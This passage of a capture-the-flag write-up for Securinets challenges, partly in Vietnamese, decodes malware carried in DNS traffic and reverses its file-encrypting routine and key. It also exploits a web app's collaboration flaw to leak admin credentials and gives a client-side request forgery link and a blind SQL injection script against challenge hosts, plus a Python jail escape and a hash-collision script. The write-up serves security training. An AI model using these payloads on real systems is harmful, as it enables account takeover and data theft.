pcap and filter `ip.src==192.168.85.175 && udp.port == 53 && udp.stream eq 32` you will see the fragement data was send from dns server to victim machine. try extract and decode it. ```python= from pyshark import * import binascii import base64 # load file pcap by pyshark cap = FileCapture('cap.pcapng', display_filter='ip.src==192.168.85.175 && udp.port == 53 && udp.stream eq 32') def xor_bytes(data, key): return bytes(a ^ key for a in data) malicious_data = b'' for pkt in cap: try: if 'UDP' in pkt: payload_hex = pkt.udp.payload.replace(':', '') payload_bytes = binascii.unhexlify(payload_hex) # print(payload_bytes) if b'end\x04meow' in payload_bytes: break if b'678\x04meow' in payload_bytes: data = payload_bytes[13:13+28] else: data = payload_bytes[13:13+66] pad = b'=' * ((8 - len(data) % 8) % 8) decrypted = base64.b32decode(str(data+pad, 'utf-8')) key = decrypted[0] decrypted_data = xor_bytes(decrypted[1:], key) malicious_data += decrypted_data except Exception as e: print(data) print("Error processing packet:", e) cap.close() with open('output.bin', 'wb') as f: f.write(malicious_data) ``` the malware file was packed by upx. you need unpack it before load it into ida. ```cpp= void *__cdecl sub_4015FD(char *a1) { void *result; // eax void *v2; // edi int v3; // eax const char *Str1; // ebx _stat32 Stat; // [esp+2Ch] [ebp-43Ch] BYREF char FileName[1048]; // [esp+50h] [ebp-418h] BYREF result = (void *)sub_403A60(a1); if ( result ) { v2 = result; while ( 1 ) { v3 = sub_403C20(v2); if ( !v3 ) break; Str1 = (const char *)(v3 + 12); if ( strcmp((const char *)(v3 + 12), ".") ) { if ( strcmp(Str1, "..") ) { if ( strcmp(Str1, "AppData") ) { sub_4023B0(FileName, 1024, "%s\\%s", a1, Str1); if ( stat(FileName, &Stat) != -1 ) { if ( (Stat.st_mode & 0xF000) == 0x4000 ) { sub_4015FD(FileName); } else if ( (Stat.st_mode & 0xF000) == 0x8000 ) { sub_4014D1(FileName); } } } } } } return (void *)sub_403C70(v2); } return result; } ``` The function sub_4015FD will explore all folder or file in `C:\Users\<username>\` except Appdata and use exact path to make key encrypt file. ```cpp= void __cdecl sub_4014D1(char *FileName) { FILE *v1; // eax FILE *Stream; // ebx signed int v3; // esi void *v4; // edi _BYTE *v5; // eax signed int i; // eax _BYTE *Block; // [esp+1Ch] [ebp-1Ch] v1 = fopen(FileName, "rb+"); if ( v1 ) { Stream = v1; fseek(v1, 0, 2); v3 = ftell(Stream); rewind(Stream); v4 = malloc(v3); v5 = malloc(v3); Block = v5; if ( v4 && v5 ) { fread(v4, 1u, v3, Stream); sub_401460(FileName, Block, v3); for ( i = 0; i < v3; ++i ) *((_BYTE *)v4 + i) ^= Block[i]; rewind(Stream); fwrite(v4, 1u, v3, Stream); fclose(Stream); free(v4); free(Block); printf("[+] Encrypted %s (size=%ld bytes)\n", FileName, v3); } else { fclose(Stream); free(v4); free(Block); } } } ``` The code will xor key and absolute path in sub_401460 and the key is `evilsecretcodeforevilsecretencryption` ![image](https://hackmd.io/_uploads/ry9a1Kr6ge.png) try to decrypt all file in desktop will get the flag. ![image](https://hackmd.io/_uploads/SJgkLxKBTxg.png) ## Web ### Puzzle #### Tổng quan Trang web là một trang chia sẻ note cổ động bảo vệ môi trường (chắc vậy): ![image](https://hackmd.io/_uploads/rJg01ESagg.png) Trang có chức năng đăng nhập và đăng kí tài khoản. Tạo 1 tài khoản và đăng nhập thì có thêm các chức năng sau: ![image](https://hackmd.io/_uploads/HyxsxErTeg.png) Chức năng Publish dùng để xuất bản một bài báo, còn chức năng Collaborations dùng để xem state (đã/chưa xuất bản) các bài báo của mình đã collab với người khác. Đại khái thì nó sẽ hoạt động như sau: ta xuất bản 1 bài báo lên site và ta có thể đọc nó. Tuy nhiên, nếu bài báo được collab với người khác thì nó sẽ được đưa vào trạng thái chờ người kia accept thì mới cho xuất bản: ![image](https://hackmd.io/_uploads/SkwBf4r6xe.png) ![image](https://hackmd.io/_uploads/SkvomNH6xe.png) #### Tìm lời giải Đọc code của challenge, ở phần register ta thấy rằng có 2 role gồm user và editor, và role này thì lấy từ post data của user trong request như sau: ![image](https://hackmd.io/_uploads/ByIVNVrTxg.png) Code init db: ![image](https://hackmd.io/_uploads/r16dV4Hpge.png) Thấy rằng role admin đã bị disable, vậy có cách nào để leo quyền admin hay là chiếm tài khoản của admin không? Vấn đề này lát nữa sẽ giải quyết sau, bây giờ thì ta sẽ tạo 1 tài khoản với quyền editor: ![image](https://hackmd.io/_uploads/SyF3NEraxg.png) Vậy trở thành editor thì ta làm được gì? Để ý rằng ở route sau, site cho phép ta dump toàn bộ thông tin bao gồm username và password của bất kì user nào nếu biết uuid: ![image](https://hackmd.io/_uploads/B1xGKNHTgx.png) Vì thế, ta chỉ cần leak được uuid của admin là có tài khoản của admin nhỉ >_< Tuy nhiên, làm sao để biết được uuid của admin? Để ý rằng, nếu như ta truy cập vào 1 bài báo thì trong HTML của site sẽ có uuid của author và người collab cùng: ![image](https://hackmd.io/_uploads/r1YEQrHTlg.png) ![image](https://hackmd.io/_uploads/B1-rmBBaex.png) Vậy thì ta có thể collab với admin để lấy uuid của admin nhỉ? Tuy nhiên, làm cách nào để admin collab với mình? Chức năng collab của admin thì cũng đã bị tắt: ![image](https://hackmd.io/_uploads/H1jLEHH6gg.png) Đọc code kỹ hơn 1 tí thì ta thấy rằng ở request accept collab, không có phần check xem người chấp nhận collab có phải là người được nhận lời mời hay không: ![image](https://hackmd.io/_uploads/SJaWHrSagx.png) Vậy thì, ta có thể tự gửi request tới admin và tự accept ( ͡° ͜ʖ ͡°) ![image](https://hackmd.io/_uploads/H1ewrBSagl.png) ![image](https://hackmd.io/_uploads/SkRVIHraxe.png) ![image](https://hackmd.io/_uploads/HJE88SSpge.png) ![image](https://hackmd.io/_uploads/Bk_aISBTel.png) ![image](https://hackmd.io/_uploads/Sk8AUBBagg.png) Ta đã có uuid của admin là a8ec97ad-e893-4d4e-8613-c23bfb14671b, giờ dump password thôi: ![image](https://hackmd.io/_uploads/H12WDHB6lg.png) Oke giờ đã đăng nhập được vào acc admin, thế làm gì tiếp? Để ý rằng mã nguồn có route /data: ![image](https://hackmd.io/_uploads/r1fUl8H6ee.png) Access vào thử xem sao: ![image](https://hackmd.io/_uploads/HkrPlLS6ex.png) secrets.zip là một file zip có password, còn dbconnect.exe thì là một file connect db, thử rev file dbconnect.exe thì có password file zip và có flag :) Flag: Securinets{777_P13c3_1T_Up_T0G3Th3R} ### Secrets Bài này cho một website như sau: ![image](https://hackmd.io/_uploads/r1dA48STxg.png) Đăng kí 1 tài khoản và đăng nhập, trang chủ hiển thị như sau: ![image](https://hackmd.io/_uploads/Sy3OB8S6ge.png) Ngắn gọn thì bài này cho 1 con admin bot, ở endpoint /user/profile thì server serve người dùng file profile.ejs, trong file đó có đoạn mã js sau: ![image](https://hackmd.io/_uploads/ryJ0I8HTel.png) Chỗ này dính bug client side request forgery, và site có endpoint /admin/addAdmin dùng để add thêm admin => gửi link csrf sau tới admin bot để tự biến mình thành admin: {origin}/user/profile/?id=394&id=../admin/addAdmin Ở endpoint /admin/msgs có lỗ hổng sqli, ta dùng script sau để lấy flag: ```python= import httpx import string from urllib.parse import quote chall = 'http://web1-79e4a3bc.p1.securinets.tn/admin/msgs' session = httpx.Client() session.cookies.set("_csrf", "aBVb2RXrYM4ja9iPBn0anfDL") session.cookies.set("token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NDEzLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NTk2OTIzODMsImV4cCI6MTc1OTY5NTk4M30.HBZdV6ii71iQMONxObEK3M-HLRdQAo14vicExNSozIY") _csrf = "GBZe1smF-hB0PD2WWWUcy9BFmPhzxKTXYG-6M5geXppdzkU6ymIo" charset = string.ascii_letters + string.digits + "_-}{" flag = " " index = 1 while flag[-1] != "}": for c in charset: payload = f"""msg"%20like%20''%20or%20(select%20substr(flag,{index},1)%20from%20flags)%20%3d%20'{c}'%20and%20msgs."msg""" # print(payload) resp = session.post( url = chall, headers = { "Content-Type": "application/x-www-form-urlencoded" }, data = f"_csrf={_csrf}&filterBy={payload}&keyword=a" ) if len(resp.text) > 5000: flag += c index += 1 print(flag) ``` Flag: Secueinets{239c12b45ff0ff9fbd477bd9e754ed13} ## Misc ### Easy Jail Solve script: ```python= from pwn import * flag = "" DEBUG = True if DEBUG: chall = process('./give.py') else: chall = remote("misc-b6c94dd8.p1.securinets.tn", 7000) def ONE(): return "(not[])" def ZERO(): return "([]<[])" def int_expr(n: int) -> str: if n == 0: return ZERO() e = ONE() for b in bin(n)[3:]: e = f"({e}<<{ONE()})" if b == "1": e = f"({e}+{ONE()})" return e def build_get_flag_char_expr(i): return f"flag[{int_expr(i)}]" def reverse_shuffle(init, feed = 'abcdefghijklmnopqrstuvwxyz'): return {k:v for k, v in zip(init, feed)} def map_payload(payload: str, mapping: dict): res = '' for c in payload: if c.islower(): res += mapping[c] else: res += c return res chall.sendlineafter(b"> ", b"abcdefghijklmnopqrstuvwxyz") if not DEBUG: chall.recvline() init = chall.recvline().decode() mapping = reverse_shuffle(init=init) i = 0 while True: payload = f'flag[{int_expr(i)}]' to_send = map_payload(payload, mapping) if len(to_send) > 150: print(f"Too long, banned: {len(to_send)}") break chall.sendlineafter(b"> ", to_send.encode()) if not DEBUG: chall.recvline() recv = chall.recvline().decode().strip() if len(recv) == 1: flag += recv print(flag) if flag.endswith('}'): break i += 1 ``` ### MD7 Kiểm tra của server là: ```js if (md5(generateHash(a).toString()) === md5(generateHash(b).toString())) pass; ``` Nhưng `generateHash` kết thúc bằng: ```js return normalized + balancer % 1; ``` Do ưu tiên toán tử, `balancer % 1 === 0` ⇒ **`generateHash(x) === +input`** (ép chuỗi sau biến đổi về *số*). Phần “hash” bị vô hiệu. solve: `generateHash` thực hiện: **đảo chuỗi** → **cộng 1 từng chữ số mod 10** → **parseInt** (bỏ số 0 đầu). Với mọi chuỗi số `t`, đặt `t' = t + "9"`: - Sau đảo+cộng1, `'9'` → `'0'` thành **số 0 ở đầu**, bị `parseInt` **bỏ đi**. ⇒ `generateHash(t) == generateHash(t+"9")` dù `t != t+"9"`. scripts: ```python! import socket, sys, time HOST = "numbers.p2.securinets.tn" PORT = 7011 def recv_until(s, marker: bytes, timeout=20.0) -> bytes: s.settimeout(timeout) buf = b"" while marker not in buf: chunk = s.recv(4096) if not chunk: break buf += chunk return buf def main(): host = HOST port = PORT if len(sys.argv) >= 2: host = sys.argv[1] if len(sys.argv) >= 3: port = int(sys.argv[2]) s = socket.create_connection((host, port), timeout=15.0) banner = recv_until(s, b") Enter first number: ") sys.stdout.buffer.write(banner) sys.stdout.flush() for i in range(1, 101): t = str(10_000 + i) a = t.encode() b = (t + "9").encode() s.sendall(a + b"\n") prompt2 = recv_until(s, b") Enter second number: ") sys.stdout.buffer.write(prompt2) sys.stdout.flush() s.sendall(b + b"\n") if i < 100: out = recv_until(s, f"({i+1}/100) Enter first number: ".encode()) else: out = s.recv(65535) if out: sys.stdout.buffer.write(out) sys.stdout.flush() try: s.settimeout(2.0) while True: more = s.recv(4096) if not more: break sys.stdout.buffer.write(more) sys.stdout.flush() except Exception: pass s.close() if __name__ == "__main__": main() ```